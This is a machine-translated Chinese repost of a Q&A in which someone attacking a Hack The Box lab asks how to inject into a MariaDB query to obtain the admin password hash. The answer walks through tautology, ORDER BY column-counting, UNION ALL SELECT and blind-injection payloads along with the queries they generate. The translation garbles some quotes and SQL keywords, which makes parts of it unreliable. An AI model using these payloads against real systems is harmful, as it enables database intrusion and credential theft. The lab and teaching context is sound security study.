mysql – MariaDb SQL注入
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了mysql – MariaDb SQL注入,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4096字,纯文字阅读大概需要6分钟。
内容图文
![mysql – MariaDb SQL注入](/upload/InfoBanner/zyjiaocheng/888/fc4c1dfe44454513952ed33a45a2fae1.jpg)
我试图(合法地)利用具有SQLi漏洞的MariaDb数据库.
我在这里发现了漏洞……
?/ O = 1&安培;页=应用
o = *易受攻击并产生以下错误……
调试信息:您的SQL语法有错误;检查与MariaDB服务器版本对应的手册,以便在’5’附近使用正确的语法,或者像’1’那样使用’)在第1行的LIMIT 10′
我正在使用Burp Suite并且使用了以下语法,该语法似乎更接近标记,但仍然产生语法错误.
我认为它更接近标记,因为错误只是吐出我引入的查询,而不是’额外’字段:’5’或者说像’1”,LIMIT 10′.
我假设这是原始查询的一部分,因为包含1,当我测试其他随机字符串仍然是真的.
我在管理员密码哈希之后,我从页面线索知道的是uid 1.
这个查询我错过了什么?
SELECT Password FROM mysql.user WHERE(uid =’1’或dest like’%’) – ‘)LIMIT 10
编辑:这是在Hack The Box上完成的,因此没有令人讨厌的非法内容.
解决方法:
EDIT: This is being done on Hack The Box so no nasty illegal stuff
going on.
好吧,让我们玩得开心吧.
当我看到错误消息
DEBUG INFO: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax
to use near ‘5’ or dest like'1'') LIMIT 10'
at line 1
我在应用程序中假设查询和代码或多或少像这样伪,@o实际上是一个MySQL用户变量.
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
我将使用SQL小提琴space来模拟SQL注入测试,并且可以更多地访问其他表.
您可以使用1’或1 = 1#或1’或1 = 1来测试您的注射.两者都应该有效,并且当您使用1作为输入时应该给出相同的结果.
这是因为MariaDB自动为其他数据库转换类型,您可能需要使用更严格的版本1’OR’1’=’1#
哪个应该生成
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
要么
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
然后,因为您在应用程序中看到错误,您可以使用ORDER BY 1来检查选择了多少列并增加数字,直到出现错误.
错误:ER_BAD_FIELD_ERROR:’order子句’中的未知列’2′
注入
1’订购1#或1’订购1–
这意味着对结果集中的第一列进行排序不排序1个文字.
生成
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
要么
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
当您知道列时,可以使用UNION进入其他表.如果不需要所有列,请使用NULL.
注射
1’UNION ALL从DUAL中选择NULL#
请注意,DUAL是MariaDB,MySQL和Oracle中的“虚拟”非现有表,如果您可以查询此“表”,则意味着您还可以从技术上进入其他表.
生成SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
如果网页设计为“详细”页面,其中一条记录始终可见,则需要在注射中添加LIMIT 1,1.
如果在Web应用程序中没有可见的错误怎么办,你应该能够通过盲注SQL注入盲目地强制geuss,看看应用程序是如何工作的.
在尝试强制使用已使用的列号之前,还要尝试诸如?o = 0,?o = NULL或非常高的数字,例如最大INT值(签名)?o = 2147483647或(无符号)?o = 4294967295,以便了解如何该应用程序处理无法找到的记录.
因为它不太可能在INT数据类型上具有id 0或高数字,因为如果给出了最后一个数字,应用程序将停止工作.
如果仍然获得具有这些高数字的记录,请使用BIGINT数据类型的最大值.
对于第1列,相同的结果id o = 1
1’UNION ALL SELECT 1 FROM DUAL LIMIT 1,1#
对于会出错的第2列,但很可能您会看到错误页面或未找到记录的消息.
或者是一个甜蜜的HTTP 404(未找到)错误状态.
1’UNION ALL SELECT 1 FROM DUAL LIMIT 1,1#
在不使用ORDER BY的情况下使用LIMIT时可能遇到的一个问题可能是获得相同记录的机会,因为SQL标准已经定义了SQL表/结果集是无序的而不使用ORDER BY
因此,理想情况下,您需要在bruteforces中继续使用ORDER BY 1.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
和
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
ORDER BY 1的数据库支持比我最初想的更好,因为它适用于MySQL,MariaDB,SQL Server(MSSQL)和PostgreSQL.
ORDER BY 1也是一个SQL 92功能,它在SQL 99中被删除了.
因此,如果SQL数据库在这一点上遵循SQL标准,那么它实际上不应该执行ORDER BY 1.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC
内容总结
以上是互联网集市为您收集整理的mysql – MariaDb SQL注入全部内容,希望文章能够帮你解决mysql – MariaDb SQL注入所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。